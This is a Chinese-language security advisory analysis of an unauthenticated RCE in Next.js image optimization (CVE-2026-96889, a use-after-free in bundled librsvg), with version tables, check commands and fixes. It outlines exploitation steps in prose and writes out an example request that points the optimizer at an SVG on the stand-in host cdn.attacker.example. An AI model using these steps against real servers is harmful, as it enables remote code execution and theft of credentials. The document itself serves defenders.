GHSA-2464-fhr4-w9xw(CVE-2026-96889):Next.js Image Optimization 中的未授权 RCE
Vercel 将 GHSA-2464-fhr4-w9xw 评为严重,CVSS v4.0 9.5:在基于 glibc 的 Linux 上,如果 Next.js 10.0.0–15.5.27 或 16.0.0–16.4.0 服务器的 Image Optimization API 处理 SVG,未经身份验证的攻击者即可执行代码。漏洞是 sharp 预构建二进制中捆绑的 librsvg 的释放后使用问题(CVE-2026-96889)。Next.js 15.5.28 和 16.4.1 在 Node.js 20.9.0 或更高版本上通过解析到 sharp 0.35.5 修复,它捆绑已修补的 librsvg 2.63.2。
要点速览
Vercel 将 GHSA-2464-fhr4-w9xw 评为严重(CVSS v4.0 9.5):未经身份验证的攻击者可在基于 glibc 的 Linux 上、优化 SVG 的 Next.js 服务器中执行代码。请升级至 Next.js 16.4.1 或 15.5.28。
- Next.js 内置 Image Optimization API(
/_next/image)将攻击者提供的图像字节交给sharp,其预构建 libvips 二进制内嵌标准 SVG 渲染器librsvg。根据 RUSTSEC-2026-0305,受影响 librsvg 构建为所有早于修复版本集的版本:主分支 2.63.2 之前,以及稳定系列回移版本 2.62.4、2.61.5、2.60.3 和 2.57.5 之前。这些版本会在 libxml2 仍使用 XML 实体时将其释放,形成释放后使用漏洞,编号 CVE-2026-96889。 - Next.js 10.0.0 至 15.5.27,以及 16.0.0 至 16.4.0 的每个版本,在基于 glibc 的 Linux 上运行且 SVG 文件能到达优化器时均受影响。Vercel 确认 librsvg 漏洞已有公开概念验证。
- 截至 2026 年 10 月 23 日,没有已知在野利用,问题未列入 CISA 已知被利用漏洞目录。
- 升级至 Next.js 16.4.1,或 15.x 分支的 15.5.28。在 Node.js 20.9.0 或更高版本上,全新安装会解析到 sharp 0.35.5(librsvg 2.63.2)。在 15.x 上,升级后运行
npm ls sharp,如果仍为 0.34.x,则安装sharp@0.35.5。Vercel 公告列出的临时措施是确保sharp解析到 0.35.5 或更高版本。
我是否受到影响?
npm 记录 next 在 2026 年 10 月 16-22 日这一周有 44,586,009 次下载。请执行下述两分钟检查。
以下条件全部成立时,您就受到影响:
- Next.js 运行版本在受影响范围内。
- 服务器运行基于 glibc 的 Linux,这是 Node 部署的常见情况。
sharp解析到捆绑了未修补 librsvg 的构建版本。下表列出各 sharp 和 librsvg 构建的对应关系。- SVG 内容能够到达 Image Optimization API。
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| Next.js 16.x | 16.0.0 – 16.4.0 | 16.4.1 |
| Next.js 10.x – 15.x | 10.0.0 – 15.5.27 | 15.5.28 |
从 Next.js 15.0.0 起,next 在 optionalDependencies 中列出 sharp,因此默认安装。Next.js 12.3.0、13.5.6 和 14.2.32 未声明 sharp 依赖。在这些分支,优化器只在项目安装 sharp 时加载它,否则回退至 Squoosh。
解析出的 sharp 版本决定服务器内嵌哪一版 librsvg:
| sharp | 捆绑的 librsvg(sharp-libvips) | 状态 |
|---|---|---|
| 0.33.5 | 2.58.93(通过 @img/sharp-libvips-* 1.0.4) | 未修补;不属于 RustSec 矩阵中的任何修复范围 |
| 0.34.3 | 2.60.0(通过 @img/sharp-libvips-* 1.2.0) | 未修补;2.60 系列回移修复为 2.60.3 |
| 0.34.4 | 2.61.1(通过 @img/sharp-libvips-* 1.2.3) | 未修补;2.61 系列回移修复为 2.61.5 |
| 0.34.5 | 2.61.2(通过 @img/sharp-libvips-* 1.2.4) | 未修补;2.61 系列回移修复为 2.61.5 |
| 0.35.4 | 2.62.91(通过 @img/sharp-libvips-* 1.3.3) | 未修补;2.62.91 早于 2.63.2 主分支修复和 2.62.4 回移修复 |
| 0.35.5 | 2.63.2(通过 @img/sharp-libvips-* 1.3.4) | 包含修复 |
检查已安装内容:
# Next.js and sharp versions
npm ls next sharp
# Direct read of the installed versions
node -e "console.log('next', require('next/package.json').version)"
node -e "console.log('sharp', require('sharp/package.json').version)"
# Lock file check (lockfileVersion 2 and 3)
grep -n '"node_modules/next"' package-lock.json | head
grep -n '"node_modules/sharp"' package-lock.json | head
# lockfileVersion 1 keys packages by bare name
grep -n '"next": {' package-lock.json | head
grep -n '"sharp": {' package-lock.json | head
# Container image check
docker run --rm <your-image> node -e "console.log(require('next/package.json').version, require('sharp/package.json').version)"
Sharp 0.35.x 声明 engines.node: >=20.9.0,因此 Node 18 不在支持的运行时范围。该字段不会让 npm 选择较旧的兼容 sharp:除非启用 engine-strict,npm 仅将它视为建议,并警告运行时不兼容。
- Next.js 15.0.0 的
^0.33.5依赖范围允许 sharp 0.33.5,它捆绑 librsvg 2.58.93。 - Next.js 15.5.28 的
^0.34.3 || ^0.35.5范围同时允许未修补的 0.34.x 和已修补的 0.35.5;现有锁文件可能保留 0.34.x。
sharp/librsvg 表中的 0.33.x 和 0.34.x 构建均不含已修补的 librsvg。
如何修复?
升级 Next.js。在 Node.js 20.9.0 或更高版本上,全新依赖解析会拉取 sharp 0.35.5(librsvg 2.63.2)。注意两个例外:
- 在 15.x 分支,范围仍接受
^0.34.3,因此现有锁文件可能保留未修补的 0.34.x。升级后运行npm ls sharp,如果仍为 0.34.x,显式安装sharp@0.35.5。 - 使用 15.x 分支的 Node 18 主机必须先迁移至 Node.js 20.9.0 或更高版本,修复才能生效。
# Next.js 16 line
npm install next@16.4.1
# or: pnpm add next@16.4.1 | yarn add next@16.4.1
# Next.js 15 line
npm install next@15.5.28
如果暂时不能升级 Next.js,单独强制升级 sharp。公告列出的临时措施是确保 Next.js 使用的 sharp 为 0.35.5 或更高版本。这需要 Node.js 20.9.0 或更高版本,因为只有 sharp 0.35.x 分支捆绑了修补后的 librsvg。
npm install sharp@0.35.5
只有当 Next.js 自身的 sharp 范围接受 0.35.5 时,该安装才会改变它加载的版本。Next.js 15.5.27 声明 ^0.34.3 || ^0.35.4,可以接受。Next.js 15.0.0 声明 ^0.33.5,不能接受,因此其嵌套的 0.33.5 仍会保留。这种情况下,在 package.json 强制指定解析版本并重新安装:
{
"overrides": { "sharp": "0.35.5" }
}
pnpm 使用 pnpm.overrides,Yarn 使用 resolutions。
临时措施的局限是仅替换捆绑 librsvg,不改变优化器处理请求的方式。
- 16.4.1 修复要求
sharp ^0.35.5,它提供已修补的 librsvg 2.63.2。 - 15.5.28 修复在
^0.34.3 || ^0.35.5范围中保留了^0.34.3下限。该下限不包含修复:0.34.x 构建捆绑 librsvg 2.60.0 至 2.61.2,均低于对应 2.60.3 和 2.61.5 回移版本。 - 在 Node 18 上,15.x 升级并不完整。迁移至 Node.js 20.9.0 或更高版本,以在支持的运行时上运行 sharp 0.35.5,再验证解析出的 sharp 版本。
根本原因是什么?
释放后使用是指代码释放内存后仍继续使用其指针。librsvg 是通过 libxml2 解析 XML 来渲染 SVG 的 Rust 库;在其中,带有重复实体声明的嵌套 XInclude 会释放外层解析仍持有的 xmlEntity 结构。XInclude 是让一个 XML 文档引入另一个文档节点的机制。Red Hat 的 CVE-2026-96889 记录描述了这一过程。
RUSTSEC-2026-0305 将失效过程描述为四步:
- 展开内部实体时,libxml2 递归解析一个 XInclude 文档,该文档重新声明同名实体。
- 两次解析共享 librsvg 的
XmlState实体映射,添加重复项会替换原始条目。 - 丢弃被替换的
xmlEntity时调用xmlFreeNode(),释放其内存。 - 外层
xmlCtxtParseEntity()继续访问这个已释放的 144 字节结构。
一句话概括:实体映射替换条目时没有检查 libxml2 是否仍持有其指针,因此跨 XInclude 边界重新声明实体名的文档,会将解析器内部指针变成悬空指针。
这就是缺失的生命周期检查,也是上游修复消除的问题。Librsvg 提交 8a1b0cd319e9af2d1e9cf878081dd77f227a0504 停止释放 libxml2 仍在使用的 xmlEntity 指针。修复最先在 librsvg 2.63.2 发布,并回移至 2.62.4、2.61.5、2.60.3 和 2.57.5,于 2026 年 9 月 23 日公开。
Next.js 通过图像优化进入这段代码。/_next/image 端点接受 url 参数,检查它是否符合配置的允许列表(旧分支为 images.domains,新分支为 images.localPatterns 和 images.remotePatterns),获取字节,再传给通过 libvips 加载图像的 sharp。Next.js 16.4.0 优化器在 packages/next/src/server/image-optimizer/transform.ts 中显式启用 libvips 的 SVG 加载器:
// packages/next/src/server/image-optimizer/transform.ts (v16.4.0)
export function getSharp(concurrency, operationCache) {
...
_sharp.block({ operation: ['VipsForeignLoad'] })
_sharp.unblock({
operation: [
'VipsForeignLoadHeif', // avif
'VipsForeignLoadJpeg',
'VipsForeignLoadNsgif',
'VipsForeignLoadPng',
'VipsForeignLoadSvg', // librsvg parses SVG bytes here
...
],
})
当 libvips 将输入识别为 SVG 时,VipsForeignLoadSvg 将文档交给 librsvg,实体映射漏洞便可从请求字节触发。15.5.x 优化器中也有同样的 VipsForeignLoadSvg 解锁。在更早的受影响版本中,连接方式不同:例如 Next.js 14.2.x 将无法通过魔数字节识别的任何缓冲区直接交给 sharp 检测格式,代码位于 packages/next/src/server/image-optimizer.ts(v14.2.32):
// Fallback to sharp if available
if (sharp) {
const meta = await sharp(buffer)
.metadata()
.catch((_) => null)
switch (meta?.format) {
...
case 'svg':
return SVG
注意该版本的顺序:sharp(buffer).metadata() 在优化器的 dangerouslyAllowSVG 检查前解析文件,因此在这条代码路径中,SVG 开关只限制是否返回图像,不能作为阻止解析的边界。
如何利用?
没有针对 Next.js 的公开端到端利用。librsvg 漏洞本身已有公开复现程序:GNOME GitLab 跟踪条目标记为包含利用材料,CISA 针对 CVE-2026-96889 的 vulnrichment 记录将利用标为“poc”,技术影响标为“total”。此处不重现代码,下面仅描述公开路径。
- 攻击者构造包含第二个文档 XInclude 的 SVG,第二个文档声明一个与外层文档中已有实体同名的 XML 实体。
- 攻击者将 SVG 放在目标优化器可获取的位置:能通过应用
images允许列表的本地路径或远程主机。 - 攻击者通过图像优化端点请求该文件,使用应用配置的
deviceSizes或imageSizes中的宽度,以及允许范围内的质量,例如GET /_next/image?url=https%3A%2F%2Fcdn.attacker.example%2Favatar.svg&w=640&q=75。 - 优化器获取字节并传给 sharp。Libvips 将文档识别为 SVG,librsvg 随后解析。
- 实体展开期间,嵌套 XInclude 重新声明实体。映射替换并释放旧条目,而外层解析仍保留指针。
- 外层解析器读取已释放的 144 字节
xmlEntity,形成释放后使用。在 glibc 堆上,能够控制释放内容及分配序列的攻击者可将其转为 Node.js 服务器进程中的任意代码执行。
公告将 RCE 范围限定于基于 glibc 的 Linux,因为 Next.js 安装的预构建 sharp 二进制为 glibc 构建;musl 构建属于独立软件包。
利用如何穿过优化器?
和重复实体的 SVG"] --> B["GET /_next/image?url=...&w=...&q=..."] B --> C["URL 允许列表检查
images 配置"] C --> D["优化器将字节传给 sharp,
libvips 选择 VipsForeignLoadSvg"] D --> E["librsvg 实体映射
替换并释放仍在使用的条目"] E --> F["外层 xmlCtxtParseEntity 读取
已释放的 144 字节 xmlEntity"] F --> G["释放后使用导致
服务器进程内代码执行"]
缺失检查位于图中的 E 节点:释放实体前没有验证它是否已不再被使用。
攻击者能做什么?
成功利用以 Next.js 服务器进程权限运行任意代码,通常就是提供应用服务的 Node.js 进程。这意味着访问该进程能触及的一切:环境变量和部署凭据、内部服务、数据库,还能修改提供给用户的响应。失败或部分利用也会使进程崩溃,因为无论攻击者是否赢得分配器竞态,悬空指针都会被解引用。
攻击需要的条件:
- 无需身份验证或用户交互,依据 CVSS v4.0 向量
AV:N/AC:L/AT:P/PR:N/UI:N(网络、低复杂度、无需权限、无需用户交互;存在攻击前提)。 - 服务器运行基于 glibc 的 Linux。
sharp解析到捆绑未修补 librsvg 的构建(0.35.4 捆绑 librsvg 2.62.91;0.34.x 捆绑 2.60.0、2.61.1 或 2.61.2;0.33.5 捆绑 2.58.93)。- SVG 字节能到达优化器:攻击者需要可通过应用
images模式允许列表的源 URL。在 Next.js 14.2.x 中,SVG 解析发生在dangerouslyAllowSVG检查前,因此该标志仅限制响应,不限制存在漏洞的解析。 - 应用接受的宽度和质量组合。
为什么修复有效?
Vercel 通过升级 sharp 依赖带来的捆绑 librsvg 修复问题,而非改变请求处理。16.x 修复提交(9571ec8)提高了 packages/next/package.json 中的 sharp 要求:
"optionalDependencies": {
- "sharp": "^0.35.4"
+ "sharp": "^0.35.5"
}
15.x 修复提交(5e3b687)同样调整范围:"sharp": "^0.34.3 || ^0.35.4" 变为 "^0.34.3 || ^0.35.5"。Sharp 0.35.5 将预构建 libvips 包从 @img/sharp-libvips-* 1.3.3 换为 1.3.4。根据发布说明,1.3.4 捆绑 rsvg 2.63.2;RustSec 将其列为最早的主分支修复版本,包含上游提交 8a1b0cd3。该提交停止释放 libxml2 仍在使用的 xmlEntity 指针。漏洞消除后,嵌套 XInclude 文档不再产生悬空引用,因此崩溃和代码执行路径都不复存在。
修复完整吗?对于捆绑二进制路径,是的:已修补 librsvg 消除根本原因,公告版本范围也对应依赖变更。仍有两个注意点:
- 固定的 sharp 版本。将
sharp固定在 0.35.5 以下,包括任何 0.34.x 版本,即使 Next.js 已修补,也会保留存在漏洞的 librsvg。因此公告以 sharp 版本定义临时措施。 - “可能”RCE 仍意味着暴露。公告将影响称为“可能”的 RCE,因为释放后使用利用依赖分配器行为。应将所有受影响部署视为暴露,而非按可能性分级处理。
如何检查是否已遭入侵?
该问题未发布入侵指标。缺少公开指导时,可围绕图像端点查找以下一般信号:
- 对
/_next/image的请求中,url参数指向意外主机或路径,尤其是最终提供 SVG 内容的目标。 - 优化器集中返回 HTTP 400;当
dangerouslyAllowSVG禁用时,它会拒绝 SVG 内容,探测流量可能留下这种痕迹。 - 与图像优化相关联的 Node.js 进程崩溃或重启,因为同一缺陷可能使解析器崩溃,而非将控制权交给攻击者。
- 日志中的 sharp 错误,例如“Input buffer contains unsupported image format”,优化器在加载中途失败时会记录该消息。
如果发现可疑活动,轮换服务器进程能访问的所有凭据,因为在该进程中执行代码就能读取它们。
时间线
- 2026 年 9 月 23 日:Rafael B. Dias 向 Red Hat 报告 librsvg 释放后使用问题。当日与 RUSTSEC-2026-0305 和 CVE-2026-96889 一同披露。
- 2026 年 9 月 25 日:CISA 针对 CVE-2026-96889 的 ADP vulnrichment 记录公开概念验证(“Exploitation: poc”,技术影响“total”)。
- 2026 年 9 月 27 日:sharp-libvips 1.3.4 携带 librsvg 2.63.2 发布,sharp 0.35.5 随之发布。
- 2026 年 10 月 14 日:Vercel 发布 GHSA-2464-fhr4-w9xw,以及升级 sharp 的 Next.js 15.5.28 和 16.4.1。
- 2026 年 10 月 22 日:GitHub Advisory Database 发布并评审该公告。
- 2026 年 10 月 23 日:本文发布。没有已知在野利用;问题未列入 CISA KEV 目录。
常见问题
默认 Next.js 配置下,我的应用会暴露吗?
对于使用默认加载器和 next/image 的应用,Image Optimization API 默认启用。SVG 内容能否到达 sharp,取决于对应版本的检测路径和 images 配置。无论配置如何都应升级。
我究竟安装了 sharp 吗?
从 15.0.0 起,Next.js 在可选依赖中列出 sharp,因此受支持平台上的普通 npm install 会包含它。我们检查的 15.0.0 之前版本(12.3.0、13.5.6、14.2.32)未列出它,所以只有项目自行安装才会存在。运行 npm ls sharp。如果为 0.35.5 或更高版本,则包含已修补的 librsvg 2.63.2;0.34.x 则没有,这些版本捆绑 2.60.0、2.61.1 或 2.61.2,均早于对应的 2.60.3 和 2.61.5 回移版本。
Next.js 公告本身有 CVE 吗? 截至 2026 年 10 月 23 日,GitHub 公告 GHSA-2464-fhr4-w9xw 没有自己的 CVE。底层 librsvg 漏洞是 CVE-2026-96889,NVD 和 Linux 发行版使用该编号跟踪。
应用只提供 PNG 和 JPEG,需要担心吗? 公告将漏洞范围限定于图像优化使用的 SVG 文件。如果应用允许列表无法被用来向优化器提供 SVG,就不在所描述路径中。但安全做法仍然是执行一行升级命令。
Alpine Linux(musl)能保护我吗? 公告将 RCE 限定于基于 glibc 的 Linux。musl 预构建属于独立软件包,公告未对它们作出结论。不要将平台差异视为修复,仍应升级 sharp 和 Next.js。
它正在被利用吗? 截至 2026 年 10 月 23 日,没有已知在野利用,问题未列入 CISA KEV 目录。librsvg 漏洞已有公开概念验证,因此应假定机会型攻击者会关注,并据此修补。
使用 Ostorlab 源代码扫描检查 Next.js 仓库,再通过上述版本检查验证每个部署实际安装的 Next.js 和 sharp 构建。
参考资料
- Vercel 公告 GHSA-2464-fhr4-w9xw:https://github.com/vercel/next.js/security/advisories/GHSA-2464-fhr4-w9xw (2026 年 10 月 23 日核查;向发现者
randomguy6407和rafabd1致谢,2026 年 10 月 27 日核查) - GitHub Advisory Database 条目:https://github.com/advisories/GHSA-2464-fhr4-w9xw (2026 年 10 月 23 日核查)
- CVE-2026-96889 记录(Red Hat CNA):https://cveawg.mitre.org/api/cve/CVE-2026-96889 (2026 年 10 月 23 日核查)
- RustSec 公告 RUSTSEC-2026-0305(2026 年 10 月 24 日复查修补版本矩阵):https://rustsec.org/advisories/RUSTSEC-2026-0305.html
- Librsvg 问题跟踪条目(工作项 #1241),引用修复提交 8a1b0cd319e9af2d1e9cf878081dd77f227a0504:https://gitlab.gnome.org/GNOME/librsvg/-/work_items/1241 (2026 年 10 月 23 日核查)
- Next.js 16.x 修复提交(升级 sharp):https://github.com/vercel/next.js/commit/9571ec899f063df6533351bec390ccb2cc0af6a3 (2026 年 10 月 23 日核查)
- Next.js 15.x 修复提交(升级 sharp):https://github.com/vercel/next.js/commit/5e3b687b5edb868b064bdc058d768a7021e7f6ad (2026 年 10 月 23 日核查)
- Next.js 16.4.1 发布说明:https://github.com/vercel/next.js/releases/tag/v16.4.1 (2026 年 10 月 23 日核查)
- sharp 0.35.5 发布说明:https://github.com/lovell/sharp/releases/tag/v0.35.5 (2026 年 10 月 23 日核查)
- sharp 0.35.5 包元数据(固定 @img/sharp-libvips-* 1.3.4,Node 引擎
>=20.9.0):https://raw.githubusercontent.com/lovell/sharp/v0.35.5/package.json (2026 年 10 月 27 日核查) - sharp 0.33.5 包元数据(固定 @img/sharp-libvips-* 1.0.4):https://raw.githubusercontent.com/lovell/sharp/v0.33.5/package.json (2026 年 10 月 27 日核查)
- @img/sharp-libvips-linux-x64 1.0.4 发布包,
versions.json(rsvg 2.58.93):https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.4.tgz (2026 年 10 月 27 日核查) - Next.js 包元数据,标签 v14.2.32(无 sharp 依赖)和 v15.0.0(
"sharp": "^0.33.5"):https://github.com/vercel/next.js/blob/v14.2.32/packages/next/package.json 和 https://github.com/vercel/next.js/blob/v15.0.0/packages/next/package.json (2026 年 10 月 27 日核查) - sharp 0.34.3 包元数据(固定 @img/sharp-libvips-* 1.2.0,Node 引擎范围):https://raw.githubusercontent.com/lovell/sharp/v0.34.3/package.json (2026 年 10 月 24 日核查)
- sharp-libvips 1.2.0 构建版本(rsvg 2.60.0):https://raw.githubusercontent.com/lovell/sharp-libvips/v1.2.0/versions.properties (2026 年 10 月 24 日核查)
- sharp-libvips 1.2.3 构建版本(rsvg 2.61.1):https://raw.githubusercontent.com/lovell/sharp-libvips/v1.2.3/versions.properties (2026 年 10 月 24 日核查)
- sharp-libvips 1.2.4 构建版本(rsvg 2.61.2):https://raw.githubusercontent.com/lovell/sharp-libvips/v1.2.4/versions.properties (2026 年 10 月 24 日核查)
- sharp-libvips 1.3.4 发布说明(rsvg 2.63.2):https://github.com/lovell/sharp-libvips/releases/tag/v1.3.4 (2026 年 10 月 23 日核查)
- sharp-libvips 1.3.3 发布说明(rsvg 2.62.91):https://github.com/lovell/sharp-libvips/releases/tag/v1.3.3 (2026 年 10 月 23 日核查)
- Next.js 优化器源码,标签 v16.4.0:https://github.com/vercel/next.js/blob/v16.4.0/packages/next/src/server/image-optimizer/transform.ts (2026 年 10 月 23 日核查)
- Next.js 优化器源码,标签 v14.2.32:https://github.com/vercel/next.js/blob/v14.2.32/packages/next/src/server/image-optimizer.ts (2026 年 10 月 23 日核查)
next的 npm 下载量(2026 年 10 月 16-22 日这一周共 44,586,009 次):https://api.npmjs.org/downloads/point/last-week/next (2026 年 10 月 24 日核查)- npm 包元数据文档(除非设置
engine-strict,否则engines仅为建议):https://docs.npmjs.com/cli/v11/configuring-npm/package-json/#engines (2026 年 10 月 28 日核查)